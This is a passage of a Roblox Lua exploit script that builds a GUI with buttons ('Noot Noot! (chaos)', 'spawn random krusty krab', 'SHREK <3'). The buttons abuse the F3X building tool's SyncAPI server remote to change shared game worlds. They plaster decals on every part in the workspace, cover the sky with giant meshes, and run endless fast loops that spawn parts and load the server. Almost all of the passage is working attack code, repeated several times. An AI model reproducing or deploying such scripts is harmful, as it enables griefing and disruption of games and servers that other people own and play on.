				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function Krab(id)
				e = char.HumanoidRootPart.CFrame.x
				f = char.HumanoidRootPart.CFrame.y
				g = char.HumanoidRootPart.CFrame.z
				CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,18,0),workspace)
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
						--spawn(function()
						SetName(v,"Blue2spookys Krusty Krab")
						AddMesh(v)
						--end)
						--spawn(function()
						SetMesh(v,"1347582902")
						SetTexture(v,id)
						--end)
						MeshResize(v,Vector3.new(0.2,0.2,0.2))
						SetLocked(v,true)
					end
				end
			end
			Krab("136908235065727")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.62, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Noot Noot! (chaos)"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function Sky(id)
				e = char.HumanoidRootPart.CFrame.x
				f = char.HumanoidRootPart.CFrame.y
				g = char.HumanoidRootPart.CFrame.z
				CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
						--spawn(function()
						SetName(v,"Sky")
						AddMesh(v)
						--end)
						--spawn(function()
						SetMesh(v,"111891702759441")
						SetTexture(v,id)
						--end)
						MeshResize(v,Vector3.new(99999,99999,99999))
						SetLocked(v,true)
					end
				end
			end
			Sky("382332426")
	
			-----------------------------------
	
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function spam(id)
				for i,v in game.workspace:GetDescendants() do
					if v:IsA("BasePart") then
						spawn(function()
							SetLocked(v,false)
							SpawnDecal(v,Enum.NormalId.Front)
							AddDecal(v,id,Enum.NormalId.Front)
	
							SpawnDecal(v,Enum.NormalId.Back)
							AddDecal(v,id,Enum.NormalId.Back)
	
							SpawnDecal(v,Enum.NormalId.Right)
							AddDecal(v,id,Enum.NormalId.Right)
	
							SpawnDecal(v,Enum.NormalId.Left)
							AddDecal(v,id,Enum.NormalId.Left)
	
							SpawnDecal(v,Enum.NormalId.Bottom)
							AddDecal(v,id,Enum.NormalId.Bottom)
	
							SpawnDecal(v,Enum.NormalId.Top)
							AddDecal(v,id,Enum.NormalId.Top)
						end)
					end
				end
			end
			spam("382332426")
	
			-----------
	--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
			-- DO NOT DELETE THIS LEAVE MY CREDIT
	
			-- Rain Toad Script By ItsKittyyyGD
	
			local player = game.Players.LocalPlayer
			local char = player.Character or player.CharacterAdded:Wait()
			local tool
	
			for i, v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			for i, v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			local remote = tool.SyncAPI.ServerEndpoint
	
			function _(args)
				remote:InvokeServer(unpack(args))
			end
	
			function SetCollision(part, boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
	
			function SetAnchor(boolean, part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
	
			function CreatePart(cf)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = workspace
				}
				_(args)
			end
	
			function Resize(part, size, cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
	
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part, meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://" .. meshid
						}
					}
				}
				_(args)
			end
	
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://" .. texid
						}
					}
				}
				_(args)
			end
	
			function MeshResize(part, size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
	
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
				_(args)
			end
	
			function Sky(id)
				local hrp = char:WaitForChild("HumanoidRootPart")
				local cf = hrp.CFrame
				CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
				for _, v in workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
						SetAnchor(true, v)
						AddMesh(v)
						SetMesh(v, "14832966960")
						SetTexture(v, id)
						MeshResize(v, Vector3.new(0, 0, 0))
					end
				end
			end
	
			local function createRainToads()
				while true do
					wait(0.001) -- Here they change the appearance time of the Toads or other meshes
					if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
						local hrpcf = player.Character.HumanoidRootPart.CFrame
						local x = hrpcf.x
						local z = hrpcf.z
						local randint = math.random(-600, 600)
						local randint2 = math.random(-600, 600)
						local xloc = randint + x
						local zloc = randint2 + z
						local cf = player.Character.HumanoidRootPart.CFrame.y + 400
	
						spawn(function()
							local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
							for i, v in game.Workspace:GetDescendants() do
								if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
									SetName(v, "NOOT NOOT") -- Here the name of the toad changes
									SetAnchor(false, v)
									AddMesh(v)
									Resize(v, Vector3.new(1, 1, 1), v.CFrame)
									MeshResize(v, Vector3.new(200, 200, 200))
									SetMesh(v, "111891702759441") -- Here put it A custom mesh
									SetTexture(v, "382332426") -- X2
									SetCollision(v, true)
									v.Orientation = Vector3.new(0, 0, 0)
	
									v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
	
									local sound = Instance.new("Sound", v)
									sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear
									sound.Volume = 0
									sound.PlayOnRemove = true
									sound:Destroy()
								end
							end
						end)
					else
						wait(1)
					end
				end
			end
	
			coroutine.wrap(createRainToads)()
	
			Sky("95921788891849") -- Here they change the skybox id
	
			-- Delete this if you are going to Use it in another script
	
			-- Obviously it has those noises because there is an official script that has it and the msg was making me lazy
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.62, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "spawn random krusty krab"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
			-- DO NOT DELETE THIS LEAVE MY CREDIT
	
			-- Rain Toad Script By ItsKittyyyGD
	
			local player = game.Players.LocalPlayer
			local char = player.Character or player.CharacterAdded:Wait()
			local tool
	
			for i, v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			for i, v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			local remote = tool.SyncAPI.ServerEndpoint
	
			function _(args)
				remote:InvokeServer(unpack(args))
			end
	
			function SetCollision(part, boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
	
			function SetAnchor(boolean, part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
	
			function CreatePart(cf)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = workspace
				}
				_(args)
			end
	
			function Resize(part, size, cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
	
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part, meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://" .. meshid
						}
					}
				}
				_(args)
			end
	
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://" .. texid
						}
					}
				}
				_(args)
			end
	
			function MeshResize(part, size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
	
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
				_(args)
			end
	
			function Sky(id)
				local hrp = char:WaitForChild("HumanoidRootPart")
				local cf = hrp.CFrame
				CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
				for _, v in workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
						SetAnchor(true, v)
						AddMesh(v)
						SetMesh(v, "14832966960")
						SetTexture(v, id)
						MeshResize(v, Vector3.new(0, 0, 0))
					end
				end
			end
	
			local function createRainToads()
				while true do
					wait(1) -- Here they change the appearance time of the Toads or other meshes
					if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
						local hrpcf = player.Character.HumanoidRootPart.CFrame
						local x = hrpcf.x
						local z = hrpcf.z
						local randint = math.random(-600, 600)
						local randint2 = math.random(-600, 600)
						local xloc = randint + x
						local zloc = randint2 + z
						local cf = player.Character.HumanoidRootPart.CFrame.y + 18
	
						spawn(function()
							local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 0), math.floor(zloc)))
							for i, v in game.Workspace:GetDescendants() do
								if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
									SetName(v, "krutstity krab") -- Here the name of the toad changes
									SetAnchor(true, v)
									AddMesh(v)
									Resize(v, Vector3.new(50, 50, 30), v.CFrame)
									MeshResize(v, Vector3.new(1, 1, 1))
									SetMesh(v, "2180383639") -- Here put it A custom mesh
									SetTexture(v, "98314626230473") -- X2
									SetCollision(v, true)
									v.Orientation = Vector3.new(0, 0, 0)
	
									v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
	
									local sound = Instance.new("Sound", v)
									sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear
									sound.Volume = 0
									sound.PlayOnRemove = true
									sound:Destroy()
								end
							end
						end)
					else
						wait(1)
					end
				end
			end
	
			coroutine.wrap(createRainToads)()
	
			Sky("98314626230473") -- Here they change the skybox id
	
			-- Delete this if you are going to Use it in another script
	
			-- Obviously it has those noises because there is an official script that has it and the msg was making me lazy
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.62, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "SHREK <3"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function Sky(id)
				e = char.HumanoidRootPart.CFrame.x
				f = char.HumanoidRootPart.CFrame.y
				g = char.HumanoidRootPart.CFrame.z
				CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
						--spawn(function()
						SetName(v,"Sky")
						AddMesh(v)
						--end)
						--spawn(function()
						SetMesh(v,"111891702759441")
						SetTexture(v,id)
						--end)
						MeshResize(v,Vector3.new(99999,99999,99999))
						SetLocked(v,true)
					end
				end
			end
			Sky("107003562722788")
	
			-----------------------------------
	
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
